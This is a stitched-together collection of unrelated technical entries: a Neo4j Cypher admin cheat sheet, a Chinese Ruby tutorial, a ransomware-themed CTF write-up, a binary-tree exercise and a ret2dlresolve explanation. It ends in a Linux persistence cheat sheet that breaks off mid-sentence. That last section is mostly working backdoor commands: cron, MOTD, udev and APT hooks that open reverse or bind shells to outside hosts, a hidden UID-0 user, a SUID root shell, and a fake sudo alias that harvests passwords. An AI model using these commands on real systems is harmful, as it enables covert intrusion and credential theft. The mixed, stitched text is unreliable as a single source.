or more than one index should be used. ``` DROP INDEX index_name ``` Drop the index named index_name, throws an error if the index does not exist. ``` DROP INDEX index_name IF EXISTS ``` Drop the index named index_name if it exists, does nothing if it does not exist. ### CONSTRAINT ``` CREATE CONSTRAINT ON (p:Person) ASSERT p.name IS UNIQUE ``` Create a unique property constraint on the label Person and property name. If any other node with that label is updated or created with a name that already exists, the write operation will fail. This constraint will create an accompanying index. ``` CREATE CONSTRAINT uniqueness ON (p:Person) ASSERT p.age IS UNIQUE ``` Create a unique property constraint on the label Person and property age with the name uniqueness. If any other node with that label is updated or created with a age that already exists, the write operation will fail. This constraint will create an accompanying index. ``` CREATE CONSTRAINT ON (p:Person) ASSERT p.surname IS UNIQUE OPTIONS {indexProvider: 'native-btree-1.0'} ``` Create a unique property constraint on the label Person and property surname with the index provider native-btree-1.0 for the accompanying index. ``` CREATE CONSTRAINT ON (p:Person) ASSERT p.name IS NOT NULL ``` (★) Create a node property existence constraint on the label Person and property name, throws an error if the constraint already exists. If a node with that label is created without a name, or if the name property is removed from an existing node with the Person label, the write operation will fail. ``` CREATE CONSTRAINT node_exists IF NOT EXISTS ON (p:Person) ASSERT p.name IS NOT NULL ``` (★) If a node property existence constraint on the label Person and property name or any constraint with the name node_exists already exist then nothing happens. If no such constraint exists, then it will be created. ``` CREATE CONSTRAINT ON ()-[l:LIKED]-() ASSERT l.when IS NOT NULL ``` (★) Create a relationship property existence constraint on the type LIKED and property when. If a relationship with that type is created without a when, or if the when property is removed from an existing relationship with the LIKED type, the write operation will fail. ``` CREATE CONSTRAINT relationship_exists ON ()-[l:LIKED]-() ASSERT l.since IS NOT NULL ``` (★) Create a relationship property existence constraint on the type LIKED and property since with the name relationship_exists. If a relationship with that type is created without a since, or if the since property is removed from an existing relationship with the LIKED type, the write operation will fail. ``` SHOW UNIQUE CONSTRAINTS YIELD * ``` List all unique constraints. ``` CREATE CONSTRAINT ON (p:Person) ASSERT (p.firstname, p.surname) IS NODE KEY ``` (★) Create a node key constraint on the label Person and properties firstname and surname. If a node with that label is created without both firstname and surname or if the combination of the two is not unique, or if the firstname and/or surname labels on an existing node with the Person label is modified to violate these constraints, the write operation will fail. ``` CREATE CONSTRAINT node_key ON (p:Person) ASSERT (p.name, p.surname) IS NODE KEY ``` (★) Create a node key constraint on the label Person and properties name and surname with the name node_key. If a node with that label is created without both name and surname or if the combination of the two is not unique, or if the name and/or surname labels on an existing node with the Person label is modified to violate these constraints, the write operation will fail. ``` CREATE CONSTRAINT node_key_with_config ON (p:Person) ASSERT (p.name, p.age) IS NODE KEY OPTIONS {indexConfig: {`spatial.wgs-84.min`: [-100.0, -100.0], `spatial.wgs-84.max`: [100.0, 100.0]}} ``` (★) Create a node key constraint on the label Person and properties name and age with the name node_key_with_config and given spatial.wgs-84 settings for the accompanying index. The other index settings will have their default values. ``` DROP CONSTRAINT uniqueness ``` Drop the constraint with the name uniqueness, throws an error if the constraint does not exist. ``` DROP CONSTRAINT uniqueness IF EXISTS ``` Drop the constraint with the name uniqueness if it exists, does nothing if it does not exist. ### Performance * Use parameters instead of literals when possible. This allows Cypher to re-use your queries instead of having to parse and build new execution plans. * Always set an upper limit for your variable length patterns. It’s possible to have a query go wild and touch all nodes in a graph by mistake. * Return only the data you need. Avoid returning whole nodes and relationships — instead, pick the data you need and return only that. * Use `PROFILE` / `EXPLAIN` to analyze the performance of your queries. See [Query Tuning](https://neo4j.com/docs/cypher-manual/4.3/query-tuning) for more information on these and other topics, such as planner hints. Neo4j Multidatabase ------------- ### Database management ``` CREATE OR REPLACE DATABASE myDatabase ``` (★) Create a database named myDatabase. If a database with that name exists, then the existing database is deleted and a new one created. ``` STOP DATABASE myDatabase ``` (★) Stop the database myDatabase. ``` START DATABASE myDatabase ``` (★) Start the database myDatabase. ``` SHOW DATABASES ``` List all databases in the system and information about them. ``` SHOW DATABASES YIELD name, currentStatus WHERE name CONTAINS 'my' AND currentStatus = 'online' ``` List information about databases, filtered by name and online status and further refined by conditions on these. ``` SHOW DATABASE myDatabase ``` List information about the database myDatabase. ``` SHOW DEFAULT DATABASE ``` List information about the default database. ``` SHOW HOME DATABASE ``` List information about the current users home database. ``` DROP DATABASE myDatabase IF EXISTS ``` (★) Delete the database myDatabase, if it exists. Neo4j Security -------- ### User management ``` CREATE USER alice SET PASSWORD $password ``` Create a new user and a password. This password must be changed on the first login. ``` ALTER USER alice SET PASSWORD $password CHANGE NOT REQUIRED ``` Set a new password for a user. This user will not be required to change this password on the next login. ``` ALTER USER alice IF EXISTS SET PASSWORD CHANGE REQUIRED ``` If the specified user exists, force this user to change their password on the next login. ``` ALTER USER alice SET STATUS SUSPENDED ``` (★) Change the user status to suspended. Use SET STATUS ACTIVE to reactivate the user. ``` ALTER USER alice SET HOME DATABASE otherDb ``` (★) Change the home database of user to otherDb. Use REMOVE HOME DATABASE to unset the home database for the user and fallback to the default database. ``` ALTER CURRENT USER SET PASSWORD FROM $old TO $new ``` Change the password of the logged-in user. The user will not be required to change this password on the next login. ``` SHOW CURRENT USER ``` List the currently logged-in user, their status, roles and whether they need to change their password. (★) Status and roles are Enterprise Edition only. ``` SHOW USERS ``` List all users in the system, their status, roles and if they need to change their password. (★) Status and roles are Enterprise Edition only. ``` SHOW USERS YIELD user, suspended WHERE suspended = true ``` List users in the system, filtered by their name and status and further refined by whether they are suspended. (★) Status is Enterprise Edition only. ``` RENAME USER alice TO alice_delete ``` Rename the user alice to alice_delete. ``` DROP USER alice_delete ``` Delete the user. ### (★) Role management ``` CREATE ROLE my_role ``` Create a role. ``` CREATE ROLE my_second_role IF NOT EXISTS AS COPY OF my_role ``` Create a role named my_second_role, unless it already exists, as a copy of the existing my_role. ``` RENAME ROLE my_second_role TO my_other_role ``` Rename a role named my_second_role to my_other_role. ``` GRANT ROLE my_role, my_other_role TO alice ``` Assign roles to a user. ``` REVOKE ROLE my_other_role FROM alice ``` Remove a specified role from a user. ``` SHOW ROLES ``` List all roles in the system. ``` SHOW ROLES YIELD role WHERE role CONTAINS 'my' ``` List roles, filtered by the name of the role and further refined by whether the name contains 'my'. ``` SHOW POPULATED ROLES WITH USERS ``` List all roles that are assigned to at least one user in the system, and the users assigned to those roles. ``` DROP ROLE my_role ``` Delete a role. ### (★) Graph read privileges ``` GRANT TRAVERSE ON GRAPH * NODES * TO my_role ``` Grant traverse privilege on all nodes and all graphs to a role. ``` DENY READ {prop} ON GRAPH foo RELATIONSHIP Type TO my_role ``` Deny read privilege on a specified property, on all relationships with a specified type in a specified graph, to a role. ``` GRANT MATCH {*} ON HOME GRAPH ELEMENTS Label TO my_role ``` Grant read privilege on all properties and traverse privilege in the home graph, to a role. Here, both privileges apply to all nodes and relationships with a specified label/type in the graph. ### (★) Graph write privileges ``` GRANT CREATE ON GRAPH * NODES Label TO my_role ``` Grant create privilege on all nodes with a specified label in all graphs to a role. ``` DENY DELETE ON GRAPH neo4j TO my_role ``` Deny delete privilege on all nodes and relationships in a specified graph to a role. ``` REVOKE SET LABEL Label ON GRAPH * FROM my_role ``` Revoke set label privilege for the specified label on all graphs to a role. ``` GRANT REMOVE LABEL * ON GRAPH foo TO my_role ``` Grant remove label privilege for all labels on a specified graph to a role. ``` DENY SET PROPERTY {prop} ON GRAPH foo RELATIONSHIPS Type TO my_role ``` Deny set property privilege on a specified property, on all relationships with a specified type in a specified graph, to a role. ``` GRANT MERGE {*} ON GRAPH * NODES Label TO my_role ``` Grant merge privilege on all properties, on all nodes with a specified label in all graphs, to a role. ``` REVOKE WRITE ON GRAPH * FROM my_role ``` Revoke write privilege on all graphs from a role. ``` DENY ALL GRAPH PRIVILEGES ON GRAPH foo TO my_role ``` Deny all graph privileges privilege on a specified graph to a role. ### (★) SHOW PRIVILEGES ``` SHOW PRIVILEGES AS COMMANDS ``` List all privileges in the system as Cypher commands. ``` SHOW PRIVILEGES ``` List all privileges in the system, and the roles that they are assigned to. ``` SHOW PRIVILEGES YIELD role, action, access WHERE role = 'my_role' ``` List information about privileges, filtered by role, action and access and further refined by the name of the role. ``` SHOW ROLE my_role PRIVILEGES AS COMMANDS ``` List all privileges assigned to a role as Cypher commands. ``` SHOW ROLE my_role, my_second_role PRIVILEGES AS COMMANDS ``` List all privileges assigned to each of the multiple roles as Cypher commands. ``` SHOW USER alice PRIVILEGES AS COMMANDS ``` List all privileges of a user, and the role that they are assigned to as Cypher commands. ``` SHOW USER PRIVILEGES AS COMMANDS ``` List all privileges of the currently logged in user, and the role that they are assigned to as Cypher commands. ### (★) Database privileges ``` GRANT ACCESS ON DATABASE * TO my_role ``` Grant privilege to access and run queries against all databases to a role. ``` GRANT START ON DATABASE * TO my_role ``` Grant privilege to start all databases to a role. ``` GRANT STOP ON DATABASE * TO my_role ``` Grant privilege to stop all databases to a role. ``` GRANT CREATE INDEX ON DATABASE foo TO my_role ``` Grant privilege to create indexes on a specified database to a role. ``` GRANT DROP INDEX ON DATABASE foo TO my_role ``` Grant privilege to drop indexes on a specified database to a role. ``` GRANT SHOW INDEX ON DATABASE * TO my_role ``` Grant privilege to show indexes on all databases to a role. ``` DENY INDEX MANAGEMENT ON DATABASE bar TO my_role ``` Deny privilege to create and drop indexes on a specified database to a role. ``` GRANT CREATE CONSTRAINT ON DATABASE * TO my_role ``` Grant privilege to create constraints on all databases to a role. ``` DENY DROP CONSTRAINT ON DATABASE * TO my_role ``` Deny privilege to drop constraints on all databases to a role. ``` DENY SHOW CONSTRAINT ON DATABASE foo TO my_role ``` Deny privilege to show constraints on a specified database to a role. ``` REVOKE CONSTRAINT ON DATABASE * FROM my_role ``` Revoke granted and denied privileges to create and drop constraints on all databases from a role. ``` GRANT CREATE NEW LABELS ON DATABASE * TO my_role ``` Grant privilege to create new labels on all databases to a role. ``` DENY CREATE NEW TYPES ON DATABASE foo TO my_role ``` Deny privilege to create new relationship types on a specified database to a role. ``` REVOKE GRANT CREATE NEW PROPERTY NAMES ON DATABASE bar FROM my_role ``` Revoke the grant privilege to create new property names on a specified database from a role. ``` GRANT NAME MANAGEMENT ON HOME DATABASE TO my_role ``` Grant privilege to create labels, relationship types, and property names on the home database to a role. ``` GRANT ALL ON DATABASE baz TO my_role ``` Grant privilege to access, create and drop indexes and constraints, create new labels, types and property names on a specified database to a role. ``` GRANT SHOW TRANSACTION (*) ON DATABASE foo TO my_role ``` Grant privilege to list transactions and queries from all users on a specified database to a role. ``` DENY TERMINATE TRANSACTION (user1, user2) ON DATABASES * TO my_role ``` Deny privilege to kill transactions and queries from user1 and user2 on all databases to a role. ``` REVOKE GRANT TRANSACTION MANAGEMENT ON HOME DATABASE FROM my_role ``` Revoke the granted privilege to list and kill transactions and queries from all users on the home database from a role. ### (★) Role management privileges ``` GRANT CREATE ROLE ON DBMS TO my_role ``` Grant the privilege to create roles to a role. ``` GRANT RENAME ROLE ON DBMS TO my_role ``` Grant the privilege to rename roles to a role. ``` GRANT DROP ROLE ON DBMS TO my_role ``` Grant the privilege to delete roles to a role. ``` DENY ASSIGN ROLE ON DBMS TO my_role ``` Deny the privilege to assign roles to users to a role. ``` DENY REMOVE ROLE ON DBMS TO my_role ``` Deny the privilege to remove roles from users to a role. ``` REVOKE DENY SHOW ROLE ON DBMS FROM my_role ``` Revoke the denied privilege to show roles from a role. ``` GRANT ROLE MANAGEMENT ON DBMS TO my_role ``` Grant all privileges to manage roles to a role. ### (★) User management privileges ``` GRANT CREATE USER ON DBMS TO my_role ``` Grant the privilege to create users to a role. ``` GRANT RENAME USER ON DBMS TO my_role ``` Grant the privilege to rename users to a role. ``` DENY ALTER USER ON DBMS TO my_role ``` Deny the privilege to alter users to a role. ``` REVOKE SET PASSWORDS ON DBMS FROM my_role ``` Revoke the granted and denied privileges to alter users' passwords from a role. ``` REVOKE GRANT SET USER STATUS ON DBMS FROM my_role ``` Revoke the granted privilege to alter the account status of users from a role. ``` GRANT SET USER HOME DATABASE ON DBMS TO my_role ``` Grant the privilege alter the home database of users to a role. ``` GRANT DROP USER ON DBMS TO my_role ``` Grant the privilege to delete users to a role. ``` REVOKE DENY SHOW USER ON DBMS FROM my_role ``` Revoke the denied privilege to show users from a role. ``` GRANT USER MANAGEMENT ON DBMS TO my_role ``` Grant all privileges to manage users to a role. ### (★) Database management privileges ``` GRANT CREATE DATABASE ON DBMS TO my_role ``` Grant the privilege to create databases to a role. ``` REVOKE DENY DROP DATABASE ON DBMS FROM my_role ``` Revoke the denied privilege to delete databases from a role. ``` DENY DATABASE MANAGEMENT ON DBMS TO my_role ``` Deny all privileges to manage database to a role. ### (★) Privilege management privileges ``` GRANT SHOW PRIVILEGE ON DBMS TO my_role ``` Grant the privilege to show privileges to a role. ``` DENY ASSIGN PRIVILEGE ON DBMS TO my_role ``` Deny the privilege to assign privileges to roles to a role. ``` REVOKE GRANT REMOVE PRIVILEGE ON DBMS FROM my_role ``` Revoke the granted privilege to remove privileges from roles from a role. ``` REVOKE PRIVILEGE MANAGEMENT ON DBMS FROM my_role ``` Revoke all granted and denied privileges for manage privileges from a role. ### (★) DBMS privileges ``` GRANT ALL ON DBMS TO my_role ``` Grant privilege to perform all role management, user management, database management and privilege management to a role. ★ Note ---- (★) Functionality available in Neo4j Enterprise Edition.
sec-knowleage
# 对象、变量和常量 --- - https://www.kancloud.cn/imxieke/ruby-base/107291 --- # 对象 在 Ruby 中,表现数据的基本单位称为对象(object)。 对象的类型非常多,我们这里只介绍一些常用的对象。 - 数值对象 1、-10、3.1415 等是表示数字的对象,另外还有表示矩阵、复数、素数、公式的对象。 - 字符串对象 你好、"hello" 等表示文字的对象。 - 数组对象、散列对象 表示多个数据的集合的对象。 - 正则表达式对象 表示匹配模式的对象。 - 时间对象 比如“2013 年 5 月 30 日早上 9 点”等表示时间的对象。 - 文件对象 一般我们可以理解为表示文件本身的对象,但确切来说,它是对文件进行读写操作的对象。 - 符号对象 表示用于识别方法等名称的标签的对象。 除此以外,Ruby 还有范围对象(Range)、异常对象(Exception)等。 # 类 Ruby 的类(class)表示的就是对象的种类。 对象拥有什么特性等,这些都是由类来决定的。 对象 | 类 - | - 数值 | Numeric 字符串 | String 数组 | Array 散列 | Hash 正则表达式 | Regexp 文件 | File 符号 | Symbol > ×× 类的对象”,我们一般也会说成“×× 类的实例(Instance)”。所有 Ruby 对象其实都是某个类的实例,因此在 Ruby 中的对象和实例的意义几乎是一样的。 > 另外,我们在强调某个对象是属于某个类时,经常会使用“实例”来代替“对象”。例如,我们会说“字符串对象 "foo" 是 String 类的实例”。 # 变量 Ruby 中有四种类型的变量。 1. 局部变量(local variable) 2. 全局变量(global variable) 3. 实例变量(instance variable) 4. 类变量(class variable) 变量的命名方式决定了变量的种类。 - 局部变量 以英文字母或者 _ 开头。 - 全局变量 以 $ 开头。 - 实例变量 以 @ 开头。 - 类变量 以 @@ 开头。 除了以上四种类型以外,还有一种名为伪变量(pseudo variable)的特殊变量。伪变量是 Ruby 预先定义好的代表某特定值的特殊变量,因此即使我们在程序里给伪变量赋值,它的值也不会改变。Ruby 中,nil、true、false、self 等都是伪变量。它们表面上虽然看着像变量,但实际的行为又与变量有差别,因此称为伪变量。 > 还有一种叫预定义变量(Pre-defined Variable)的特殊变量。 **局部变量与全局变量** 首先让我了解一下什么是局部变量。 所谓局部,即变量在程序中的有效范围(也称为变量的作用域)是局部的。也就是说,在程序某个地方声明的变量名,在其他地方也可以使用,程序会也会认为这两个变量是没有关系的。 局部变量也可称为本地变量。 与局部变量相对的是全局变量。只要全局变量的名称相同,不管变量在程序的哪个部分使用,程序就认为是它们是同一个变量。 举个例子,假设有个程序引用了其他程序作为自己的程序一部分。这时,如果原程序与被引用程序中,都有一个相同名称的变量 x,由于 x 是局部变量,因此程序不会认为这两个变量 x 是同一个变量。但是,如果是拥有相同名称的全局变量 $x,则程序会认为这两个变量 $x 是相同的变量。 scopetest.rb ```ruby $x = 0 x = 0 require "./sub" p $x #=> 1 p x #=> 0 ``` sub.rb ```ruby $x = 1 ## 对全局变量赋值 x = 1 ## 对局部变量赋值 ``` 在 scopetest.rb 中,我们预先将变量 $x 和 x 都定义为 0 后,读取 sub.rb 的内容。在 sub.rb 中,我们再把刚才两个变量的值都设为 1。然后,回到 scopetest.rb 程序的第 6 行和第 7 行,我们输出这两个变量的值后会发现,x 的值没有变化,但 $x 的值已经是 1 了。这是由于在 scopetest.rb 以及 sub.rb 中,程序会把 $x 当作同一个变量来处理,而把 x 当作不同的变量来处理。 一般我们并不推荐使用全局变量。全局变量的值在程序的任何地方都可以修改,因此在规模较大的程序中使用时,会增加程序不必要的复杂度,给阅读程序、修改程序造成意想不到的麻烦。本书也很少对全局变量进行说明,示例中也没使用过。 程序首次给局部变量赋值的同时,该局部变量就被初始化了。如果引用了未初始化的局部变量,程序会抛出异常。 ```ruby > irb --simple-prompt >> x + 1 NameError: undefined local variable or method ` 1' for main:Object from (irb):1 from /usr/local/bin/irb:16:in `<main>' ``` 实例变量与类变量,是在定义类的时候用到的变量 # 常量 与变量类似的有常量(constant)。常量的作用和变量一样,是某个对象的“名片”。不过与变量不同的是,对已经赋值的常量再进行赋值时,Ruby 会做出警告。 ```ruby > irb --simple-prompt >> TEST = 1 => 1 >> TEST = 2 (irb):4: warning: already initialized constant TEST (irb):3: warning: previous definition of TEST was here => 2 ``` 常量以大写英文字母开头。例如,Ruby 的运行版本(RUBY_VERSION)、运行平台(RUBY_PLATFORM)、命令行参数数组(ARGV)等,都是 Ruby 预定义的好的常量. # 保留字 在程序里,如果不小心使用了 end、next 等作为变量名,Ruby 会提示我们语法错误。这些受到限制的单词,我们称为保留字。 ```ruby > irb --simple-prompt >> end = 1 SyntaxError: (irb):8: syntax error, unexpected keyword_end end = 1 ^ from /usr/local/bin/irb:16:in `<main>' ``` # 多重赋值 我们已经介绍过“变量=值”这样的变量赋值方法,Ruby 还提供了一个只用一个表达式就能给多个变量赋值的简便方法——多重赋值。很多情况下我们都会用到多重赋值,在这里举几个比较典型的例子供大家参考。 **合并执行多个赋值操作** 有时我们希望把一组的变量同时赋值。 ```ruby a = 1 b = 2 c = 3 ``` 像这样的赋值语句,程序可以简化为只有一行。 ```ruby a, b, c = 1, 2, 3 ``` 这样就能轻松地将 1、2、3 分别赋值给变量 a、b、c。如果对一组不相关的变量进行多重赋值,程序会变得难懂,因此建议对彼此相关变量进行多重赋值。 即使= 左右两边列表的数量不相等,Ruby 也不会报错。左边被赋值的变量的个数比较多时,Ruby 会自动将 nil 赋值给未分配值的变量。 ```ruby a, b, c, d = 1, 2 p [a, b, c] #=> [1, 2, nil] ``` 变量部分比较少时,Ruby 会忽略掉该值,不会分配多余的值。 ```ruby a, b, c = 1, 2, 3, 4 p [a, b, c] #=> [1, 2, 3] ``` 变量前加上 `*`,表示 Ruby 会将未分配的值封装为数组赋值给该变量。 ```ruby a, b, *c = 1, 2, 3, 4, 5 p [a, b, c] #=> [1, 2, [3, 4, 5]] a, * b, c = 1, 2, 3, 4, 5 p [a, b, c] #-> [1, [2, 3, 4], 5] ``` **置换变量的值** 现在我们来考虑一下如何置换变量 `a`、`b` 的值。通常,我们需要一个临时变量 `tmp` 暂时地保存变量的值。 ```ruby a, b = 0, 1 tmp = a # 暂时保存变量a 的值 a = b # 将变量b 的值赋值给a b = tmp # 将原本变量a 的值赋值给变量b p [a, b] #=> [1, 0] ``` 使用多重赋值,只需一行程序就搞定了。 ```ruby a, b = 0, 1 a, b = b, a # 置换变量a、b 的值 p [a, b] #=> [1, 0 ``` **获取数组的元素** 用数组赋值,左边有多个变量时,Ruby 会自动获取数组的元素进行多重赋值。 ```ruby ary = [1, 2] a, b = ary p a #=> 1 p b #=> 2 ``` 只是希望获取数组开头的元素时,可以按照以下示例那样做。左边的变量列表以,结束,给人一种“是不是还没写完?”的感觉,建议尽量少用这样的写法。 ```ruby ary = [1, 2] a, = ary p a #=> 1 ``` **获取嵌套数组的元素** 我们来看看数组 `[1, [2, 3], 4]`,用之前介绍的方法,我们可以分别取出 `1`,`[2, 3]`、`4` 的值。 ```ruby ary = [1, [2, 3], 4] a, b, c = ary p a #=> 1 p b #=> [2, 3] p c #=> 4 ``` 像下面那样把左边的变量括起来后,就可以再进一步将内部数组的元素值取出来。 ```ruby ary = [1, [2, 3], 4] a, (b1, b2), c = ary # 对与数组结构相对应的变量赋值 p a #=> 1 p b1 #=> 2 p b2 #=> 3 p c #=> 4 ``` 只要等号左边的变量的结构与数组的结构一致,即使再复杂的结构,多重赋值都可以轻松对应。 # 变量的命名方法 以变量名开头来决定变量的种类,这是 Ruby 中对变量命名时唯一要坚决遵守的规则。虽然如此,但是根据以往的编程经验,也有一些非强制性的、约定俗成的变量命名规则。在大多数情况下,遵循这些规则能使程序变得易于阅读,对我们来说有百利而无一害。 **不要过多使用省略的名称** 有些编程语言会限制变量名的长度,但 Ruby 不需要在意变量名的长度。当然,过长的名称是不便于阅读的,但是与其起个不知所云的短的名称,老老实实地为变量取个长点的好理解的名称,对以后阅读、理解程序是非常有帮助的。 但是,我们也还是有一些约定俗成的短名称变量。进行数学、物理等计算时,根据计算对象的不同,很多情况下会使用短名称的变量名,像坐标使用 `x`、`y`、`z`,速度使用 `v`、`w`,循环次数使用 `m`、`n` 等。另外,我们编写程序时,也经常使用 `i`、`j`、`k` 等作为循环时需用到的变量名。 **对于多个单词组合的变量名,使用 _ 隔开各个单词,或者单词以大写字母开头** 也就是说,要么这样叫做 `sort_list_by_nam`e,要么叫做 `sortListByName`。一般来讲,Ruby 中的变量名和方法名使用前者,类名和模块名的使用后者。
sec-knowleage
# ransom, RE, 50pts > In theory, this firmware mod was supposed to give you 30% extra horsepower and torque. In reality, it's something different. > UPDATE: In reality... this challenge is easier than it should be. Consider it a bonus! > See Random 2.0 for the real challenge. In this task we got a binary to analyze. Upon flashing, the board says the car was encrypted due to a ransomware: ``` Your car is taken hostage by REVENANTTOAD ransomware version DEBUG_a4fae86c. To get your car back, send your user ID: 3835320719001400 and $1337 to the following rhme3coin address: [CENSORED]. Already paid? Then enter the received unlock code here: ``` We are supposed to type the decryption code. Either through randomly mashing the keyboard, or analysis of the code, we notice that only the first character of the password is checked. A quick bruteforce should suffice: ```python import serial, sys s = serial.Serial("/dev/ttyUSB0", 115200, timeout = 2) s.write("xxx\n") for c in range("0123456789ABCDEF"): print s.read_until("here:") s.write(chr(c) + "\n") ``` After typing "2" we get the flag: ``` 2 It was a pleasure doing business with you. Your car is now unlocked. Here is a bonus: 3f2bf3eb080475048eee8103a52e0ef8 Have a nice day! ```
sec-knowleage
# 55.1 二叉树的深度 [NowCoder](https://www.nowcoder.com/practice/435fb86331474282a3499955f0a41e8b?tpId=13&tqId=11191&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking&from=cyc_github) ## 题目描述 从根结点到叶结点依次经过的结点(含根、叶结点)形成树的一条路径,最长路径的长度为树的深度。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/ba355101-4a93-4c71-94fb-1da83639727b.jpg" width="350px"/> </div><br> ## 解题思路 ```java public int TreeDepth(TreeNode root) { return root == null ? 0 : 1 + Math.max(TreeDepth(root.left), TreeDepth(root.right)); } ```
sec-knowleage
### ret2dlresolve原理 在 Linux 中,程序使用 `_dl_runtime_resolve(link_map_obj, reloc_offset)` 来对动态链接的函数进行重定位。那么如果我们可以控制相应的参数及其对应地址的内容是不是就可以控制解析的函数了呢?答案是肯定的。这也是 ret2dlresolve 攻击的核心所在。 具体的,动态链接器在解析符号地址时所使用的重定位表项、动态符号表、动态字符串表都是从目标文件中的动态节 `.dynamic` 索引得到的。所以如果我们能够修改其中的某些内容使得最后动态链接器解析的符号是我们想要解析的符号,那么攻击就达成了。 ### ret2dlresolve关于直接控制重定位表项的相关内容 由于动态链接器最后在解析符号的地址时,是依据符号的名字进行解析的。因此,一个很自然的想法是直接修改动态字符串表 `.dynstr`,比如把某个函数在字符串表中对应的字符串修改为目标函数对应的字符串。但是,动态字符串表和代码映射在一起,是只读的。此外,类似地,我们可以发现动态符号表、重定位表项都是只读的。 但是,假如我们可以控制程序执行流,那我们就可以伪造合适的重定位偏移,从而达到调用目标函数的目的。然而,这种方法比较麻烦,因为我们不仅需要伪造重定位表项,符号信息和字符串信息,而且我们还需要确保动态链接器在解析的过程中不会出错。 ### ret2dlresolve关于间接控制重定位表项的相关内容 既然动态链接器会从 `.dynamic` 节中索引到各个目标节,那如果我们可以修改动态节中的内容,那自然就很容易控制待解析符号对应的字符串,从而达到执行目标函数的目的。 ### ret2dlresolve关于伪造 link_map的相关内容 由于动态连接器在解析符号地址时,主要依赖于 link_map 来查询相关的地址。因此,如果我们可以成功伪造 link_map,也就可以控制程序执行目标函数。 下面我们以 2015-XDCTF-pwn200 来介绍 32 位和 64 位下如何使用 ret2dlresolve 技巧。 ### ret2dlresolve总结 | | 修改 dynamic 节的内容 | 修改重定位表项的位置 | 伪造 linkmap | | ------------ | --------------------- | ------------------------------------------------------------ | ---------------------------------------------------- | | 主要前提要求 | 无 | 无 | 无信息泄漏时需要 libc | | 适用情况 | NO RELRO | NO RELRO, Partial RELRO | NO RELRO, Partial RELRO | | 注意点 | | 确保版本检查通过;确保重定位位置可写;确保重定位表项、符号表、字符串表一一对应 | 确保重定位位置可写;需要着重伪造重定位表项、符号表; | 总的来说,与 ret2dlresolve 攻击最为相关的一些动态节为 - DT_JMPREL - DT_SYMTAB - DT_STRTAB - DT_VERSYM
sec-knowleage
# Linux - Persistence ## Summary * [Basic reverse shell](#basic-reverse-shell) * [Add a root user](#add-a-root-user) * [Suid Binary](#suid-binary) * [Crontab - Reverse shell](#crontab---reverse-shell) * [Backdooring a user's bash_rc](#backdooring-a-users-bash_rc) * [Backdooring a startup service](#backdooring-a-startup-service) * [Backdooring a user startup file](#backdooring-a-user-startup-file) * [Backdooring Message of the Day](#backdooring-message-of-the-day) * [Backdooring a driver](#backdooring-a-driver) * [Backdooring the APT](#backdooring-the-apt) * [Backdooring the SSH](#backdooring-the-ssh) * [Backdooring Git](#backdooring-git) * [Additional Linux Persistence Options](#additional-persistence-options) * [References](#references) ## Basic reverse shell ```bash ncat --udp -lvp 4242 ncat --sctp -lvp 4242 ncat --tcp -lvp 4242 ``` ## Add a root user ```powershell sudo useradd -ou 0 -g 0 john sudo passwd john echo "linuxpassword" | passwd --stdin john ``` ## Suid Binary ```powershell TMPDIR2="/var/tmp" echo 'int main(void){setresuid(0, 0, 0);system("/bin/sh");}' > $TMPDIR2/croissant.c gcc $TMPDIR2/croissant.c -o $TMPDIR2/croissant 2>/dev/null rm $TMPDIR2/croissant.c chown root:root $TMPDIR2/croissant chmod 4777 $TMPDIR2/croissant ``` ## Crontab - Reverse shell ```bash (crontab -l ; echo "@reboot sleep 200 && ncat 192.168.1.2 4242 -e /bin/bash")|crontab 2> /dev/null ``` ## Backdooring a user's bash_rc (FR/EN Version) ```bash TMPNAME2=".systemd-private-b21245afee3b3274d4b2e2-systemd-timesyncd.service-IgCBE0" cat << EOF > /tmp/$TMPNAME2 alias sudo='locale=$(locale | grep LANG | cut -d= -f2 | cut -d_ -f1);if [ \$locale = "en" ]; then echo -n "[sudo] password for \$USER: ";fi;if [ \$locale = "fr" ]; then echo -n "[sudo] Mot de passe de \$USER: ";fi;read -s pwd;echo; unalias sudo; echo "\$pwd" | /usr/bin/sudo -S nohup nc -lvp 1234 -e /bin/bash > /dev/null && /usr/bin/sudo -S ' EOF if [ -f ~/.bashrc ]; then cat /tmp/$TMPNAME2 >> ~/.bashrc fi if [ -f ~/.zshrc ]; then cat /tmp/$TMPNAME2 >> ~/.zshrc fi rm /tmp/$TMPNAME2 ``` or add the following line inside its .bashrc file. ```powershell $ chmod u+x ~/.hidden/fakesudo $ echo "alias sudo=~/.hidden/fakesudo" >> ~/.bashrc ``` and create the `fakesudo` script. ```powershell read -sp "[sudo] password for $USER: " sudopass echo "" sleep 2 echo "Sorry, try again." echo $sudopass >> /tmp/pass.txt /usr/bin/sudo $@ ``` ## Backdooring a startup service * Edit `/etc/network/if-up.d/upstart` file ```bash RSHELL="ncat $LMTHD $LHOST $LPORT -e \"/bin/bash -c id;/bin/bash\" 2>/dev/null" sed -i -e "4i \$RSHELL" /etc/network/if-up.d/upstart ``` ## Backdooring Message of the Day * Edit `/etc/update-motd.d/00-header` file ```bash echo 'bash -c "bash -i >& /dev/tcp/10.10.10.10/4444 0>&1"' >> /etc/update-motd.d/00-header ``` ## Backdooring a user startup file Linux, write a file in `~/.config/autostart/NAME_OF_FILE.desktop` ```powershell In : ~/.config/autostart/*.desktop [Desktop Entry] Type=Application Name=Welcome Exec=/var/lib/gnome-welcome-tour AutostartCondition=unless-exists ~/.cache/gnome-getting-started-docs/seen-getting-started-guide OnlyShowIn=GNOME; X-GNOME-Autostart-enabled=false ``` ## Backdooring a driver ```bash echo "ACTION==\"add\",ENV{DEVTYPE}==\"usb_device\",SUBSYSTEM==\"usb\",RUN+=\"$RSHELL\"" | tee /etc/udev/rules.d/71-vbox-kernel-drivers.rules > /dev/null ``` ## Backdooring the APT If you can create a file on the apt.conf.d directory with: `APT::Update::Pre-Invoke {"CMD"};` Next time "apt-get update" is done, your CMD will be executed! ```bash echo 'APT::Update::Pre-Invoke {"nohup ncat -lvp 1234 -e /bin/bash 2> /dev/null &"};' > /etc/apt/apt.conf.d/42backdoor ``` ## Backdooring the SSH Add an ssh key into the `~/.ssh` folder. 1. `ssh-keygen` 2. write the content of `~/.ssh/id_rsa.pub` into `~/.ssh/authorized_keys` 3. set the right permission, 700 for ~/.ssh and 600 for authorized_keys ## Backdooring Git Backdooring git can be a useful way to obtain persistence without the need for root access. Special care must be taken to ensure that the backdoor commands create no output, otherwise the persistence is trivial to notice. ### Git Configs There are multiple [git config 